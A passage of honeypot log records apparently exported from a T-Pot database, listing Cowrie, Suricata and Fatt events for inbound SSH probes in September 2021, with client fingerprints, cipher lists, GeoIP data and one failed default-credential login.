c-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52046, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.345464", "@timestamp": "2021-09-20T11:13:39.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27224	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:39.987852+03	2021-09-20 14:15:14.299646+03	{"_id": "ggbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54408, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.987852", "@timestamp": "2021-09-20T11:13:39.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27225	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:36.97125+03	2021-09-20 14:15:14.300646+03	{"_id": "VwbpAnwBvYTbRNuEUSXv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/admin] failed", "session": "f2738451f43a", "@version": "1", "password": "admin", "username": "ubnt", "timestamp": "2021-09-20T11:13:36.971250Z", "@timestamp": "2021-09-20T11:13:36.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27226	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:39.07466+03	2021-09-20 14:15:14.302646+03	{"_id": "eQbpAnwBvYTbRNuEWSXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "04e0a9f07ef9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:39.074660Z", "@timestamp": "2021-09-20T11:13:39.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27391	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:14:09.317187+03	2021-09-20 14:15:14.518674+03	{"_id": "SQbpAnwBvYTbRNuEzycT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ed078a0ef281", "@version": "1", "duration": 2.9375317096710205, "timestamp": "2021-09-20T11:14:09.317187Z", "@timestamp": "2021-09-20T11:14:09.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27227	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:39.414989+03	2021-09-20 14:15:14.303646+03	{"_id": "egbpAnwBvYTbRNuEWSXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "04e0a9f07ef9", "@version": "1", "timestamp": "2021-09-20T11:13:39.414989Z", "@timestamp": "2021-09-20T11:13:39.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27228	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:13:39.751478+03	2021-09-20 14:15:14.304646+03	{"_id": "fQbpAnwBvYTbRNuEWyXI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 2131162451640306, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60654, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.751478Z", "@timestamp": "2021-09-20T11:13:39.751Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27229	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:13:39.345173+03	2021-09-20 14:15:14.305645+03	{"_id": "fgbpAnwBvYTbRNuEWyXJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1176859373134943, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52046, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.345173Z", "@timestamp": "2021-09-20T11:13:39.345Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27230	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:39.341516+03	2021-09-20 14:15:14.307646+03	{"_id": "fwbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59328, "timestamp": "2021-09-20T11:13:39.341516", "@timestamp": "2021-09-20T11:13:39.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27258	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:48.407987+03	2021-09-20 14:15:14.341646+03	{"_id": "GwbpAnwBvYTbRNuEfibz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2114124316907619, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32776, "dest_port": 22, "timestamp": "2021-09-20T11:13:48.407987Z", "@timestamp": "2021-09-20T11:13:48.407Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27231	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:39.970078+03	2021-09-20 14:15:14.308646+03	{"_id": "hQbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54408, "timestamp": "2021-09-20T11:13:39.970078", "@timestamp": "2021-09-20T11:13:39.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27232	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:35.497208+03	2021-09-20 14:15:14.309646+03	{"_id": "TwbpAnwBvYTbRNuETSVS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44374, "timestamp": "2021-09-20T11:13:35.497208", "@timestamp": "2021-09-20T11:13:35.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27233	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:35.862669+03	2021-09-20 14:15:14.310646+03	{"_id": "UAbpAnwBvYTbRNuETSVS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47580, "timestamp": "2021-09-20T11:13:35.862669", "@timestamp": "2021-09-20T11:13:35.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27234	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.857391+03	2021-09-20 14:15:14.312645+03	{"_id": "UgbpAnwBvYTbRNuETiUH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47580 (192.168.176.2:22) [session: b102fd58f9b3]", "session": "b102fd58f9b3", "@version": "1", "protocol": "ssh", "src_port": 47580, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.857391Z", "@timestamp": "2021-09-20T11:13:35.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27235	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:35.860378+03	2021-09-20 14:15:14.313646+03	{"_id": "UwbpAnwBvYTbRNuETiUH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b102fd58f9b3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:35.860378Z", "@timestamp": "2021-09-20T11:13:35.860Z", 